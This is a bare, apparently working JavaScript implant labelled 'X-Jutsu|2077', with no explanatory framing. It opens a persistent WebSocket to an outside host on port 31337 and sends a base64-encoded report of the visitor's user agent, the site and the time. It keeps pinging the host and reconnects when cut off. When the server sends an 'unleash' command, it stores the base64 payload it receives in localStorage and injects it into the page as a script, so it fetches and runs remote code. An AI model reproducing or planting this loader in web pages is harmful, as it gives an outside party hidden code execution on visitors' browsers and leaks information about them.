/* X-Jutsu|2077 */ var xStorage = localStorage, xJCheckSum = '129d905c88a2d55b9c9d170e566fb81e', xJID = 'xjutsu_v1337', xShot = 'xShot'; var today = new Date(), date = today.getFullYear()+'-'+(today.getMonth()+1)+'-'+today.getDate(), time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds(), dateTime = date+' '+time; var site = document.location.protocol + '//' + document.location.host.split('www.').reverse()[0] , url = document.location.href, ua = navigator.userAgent, code = 'US', ip = '3.236.207.90', ws_interval; (function(){ 'use strict'; setTimeout(function () { if (xStorage.getItem(xJID) !== null) { console.log('Local...'); xInit(xStorage.getItem(xJID)); } else { ws_conn(); console.log('Fetching...'); } },3000); var ws_interval; function ws_conn() { var site = document.location.protocol + '//' + document.location.host.split('www.').reverse()[0]; var ws = new WebSocket("wss://socket.b37.io:31337/?xYz=CONNECTING"); ws.onopen = function() { var report = [ 'CONN', navigator.userAgent, site, dateTime, ]; ws.send(btoa(report.join(':|:'))); ws_interval = setInterval(function () { var report = [ 'ping', 'Hi!' ]; ws.send(btoa(report.join(':|:'))); }, 30000); }; ws.onmessage = function(e) { var d = atob(e.data); // console.log(d); if (typeof d.split(':|:')[0] !== 'undefined' && typeof d.split(':|:')[1] !== 'undefined') { var sd = d.split(':|:')[1], c = d.split(':|:')[0]; switch (c) { case "unleash": xStorage.setItem(xJID, sd); xInit(xStorage.getItem(xJID)); // init break; default: // message // console.log("message from server: " + e.data); // console.log("option: "+ c); break; } } else { // console.log(d); } }; ws.onclose = function(){ // clearInterval(ws_interval); // console.log('CONNECTION CLOSED'); ws = null; setTimeout(ws_conn, 5000); }; } function xInit(data) { var xJutsu = new Blob([atob(data)], { type: 'application/javascript' }); const xJscript = document.createElement("script"); xJscript.type = "text/javascript"; xJscript.src = URL.createObjectURL(xJutsu); // console.log(URL.createObjectURL(xJutsu)); document.head.appendChild(xJscript); console.log('Successfully loaded.'); } })();